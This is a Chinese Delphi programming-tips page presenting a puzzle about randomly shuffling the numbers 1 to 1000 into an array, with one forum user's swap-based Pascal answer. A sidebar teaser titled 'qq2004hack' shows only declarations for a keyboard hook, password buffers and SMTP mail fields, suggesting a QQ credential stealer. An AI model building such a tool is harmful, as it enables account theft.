当前位置:首页 » 软件开发
开发技术指南» 文章正文
    引言: 假设有一组数字 1~1000,请将它们随机填充在一个数组中要求:
 

 

    摘要:实在说,我对delphi的理解不是很深入,使用它写过一些小程序,不过鉴于borland的传奇,还是看了李维那本vcl内幕剖析,最终的感觉不是对delphi多么狂热,反而是另样的深入理解了c++的优缺点以及模式设计一些理念的深化,不过,仍旧对borland抱有尊敬,另外也羡慕那些使用delphi的人,控间好多啊,:)这个是我早期从bbs上收集的文章,暂且贴在这里,算是开门大吉 delphi以其独特......
 ·编译资源进入可执行程序     »显示摘要«
    摘要:做一个.rc的文件,里面是文本格式,内容如下: 资源名 类型 资源在windows中的文件件 mycur1 cursor 28.cur //加入光标mycur2 cursor 29.cur //加入光标mycur3 cursor 30.cur //加入光标myico1 icon ico.ico //加入图标bmp1 bitmap 1.bmpbmp2 bitmap 2.bmp 注意要把那些......


数字随机排序

假设有一组数字 1~1000,请将它们随机填充在一个数组中

要求: 【程序编程相关:在 DB2 服务器上监控 WebSphe

【推荐阅读:以并行方式处理 DB2 for iSer

1.数组中无重复数字 【扩展信息:DB2 DBA: 虚拟现实

2.整个程式运算很快!

william 兄解答

var nums: array[1..1000] of integer; i,j,k,temp: integer; begin for i := low(nums) to high(nums) do nums[i] := i; for i := 0 to 1000 do begin // 1001 round may not be enough j := random(high(nums))+1; k := random(high(nums))+1; temp := nums[j]; nums[j] := nums[k]; nums[k] := temp; end; end;fishman 兄解答

我有一些新的想法,與大家共同分享.討論


...   下一页
 ·qq2004hack     »显示摘要«
    摘要:感谢 sforever 提供帮助 hookkey: string; hhook: integer; creeper,creeper1:textfile; ahwnd,comboboxh:thandle; //句柄 qqformid:hwnd; user:array[0..254] of char; sendbody:string; psmtp,puser,ppass,pgetmail,ptomai......
» 本期热门文章:

©2000-2007 All Rights Reserved. 最佳浏览:1024X768 MSIE